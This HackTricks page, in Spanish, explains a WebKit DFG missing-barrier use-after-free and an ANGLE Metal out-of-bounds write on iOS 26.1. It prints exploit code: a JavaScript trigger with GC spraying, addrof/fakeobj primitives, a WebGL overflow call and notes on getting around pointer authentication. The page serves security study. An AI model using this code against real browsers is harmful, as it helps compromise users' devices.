WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Summary

  • DFG Store Barrier bug (CVE-2025-43529): En DFGStoreBarrierInsertionPhase.cpp, un Phi node marcado como escaped mientras sus Upsilon inputs no lo están hace que la fase omita insertar un write barrier en stores de objetos posteriores. Bajo presión de GC esto permite a JSC liberar objetos que aún son accesibles → use-after-free.
  • Exploit target: Forzar que un objeto Date materialice un butterfly (por ejemplo, a[0] = 1.1) de modo que el butterfly sea liberado, y luego reclamado como almacenamiento de elementos de array para crear confusión boxed/unboxed → primitivas addrof/fakeobj.
  • ANGLE Metal PBO bug (CVE-2025-14174): El backend Metal asigna el PBO staging buffer usando UNPACK_IMAGE_HEIGHT en lugar de la altura real de la textura. Proveer una unpack height pequeña y luego llamar a un texImage2D grande causa una staging-buffer OOB write (~240KB en el PoC abajo).
  • PAC blockers on arm64e (iOS 26.1): El TypedArray m_vector y el JSArray butterfly están PAC-signed; falsificar fake objects con punteros elegidos por el atacante provoca crashes con EXC_BAD_ACCESS/EXC_ARM_PAC. Solo reutilizar butterflies ya firmados (reinterpretación boxed/unboxed) funciona.

Triggering the DFG missing barrier → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Puntos clave:

  • Coloca A en old space para ejercer las barreras generacionales.
  • Crea un Date indexado de modo que el butterfly sea el objetivo liberado.
  • Spray ArrayBuffer(0x800000) para forzar el GC y ampliar la ventana de race.
  • El mismatch de escape Phi/Upsilon impide la inserción de barreras; b.p1 = a se ejecuta sin write barrier, por lo que GC reclama a/butterfly.

Reclamación del butterfly → confusión boxed/unboxed

Después de que el GC libera el Date butterfly, spray arrays para que el slab liberado se reutilice como elements para dos arrays con diferentes element kinds:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Estado en iOS 26.1 (arm64e):

  • Funciona: addrof, fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields).
  • Aún no estable: generalized read64/write64 via inline-slot backings.

Restricciones PAC en arm64e (por qué los fake objects se bloquean)

  • TypedArray m_vector y JSArray butterfly están PAC-signed; forjar punteros produce EXC_BAD_ACCESS / probablemente EXC_ARM_PAC.
  • La primitiva de confusión funciona porque reutiliza butterflies firmados legítimos; introducir punteros de atacante sin firmar falla la autenticación.
  • Ideas de bypass potenciales anotadas: rutas JIT que omiten la autenticación, gadgets que firman punteros del atacante, o pivotar a través de ANGLE OOB.

ANGLE Metal PBO subasignación → OOB write

Usa una altura de unpack mínima para reducir el staging buffer, luego sube una textura grande para que la copia se desborde:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Notas:

  • Bug en TextureMtl.cpp: el staging buffer usa UNPACK_IMAGE_HEIGHT en lugar de la altura real de la textura en la ruta PBO.
  • En la prueba de referencia, el trigger PBO de WebGL2 está conectado pero aún no se observa de forma fiable en iOS 26.1.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks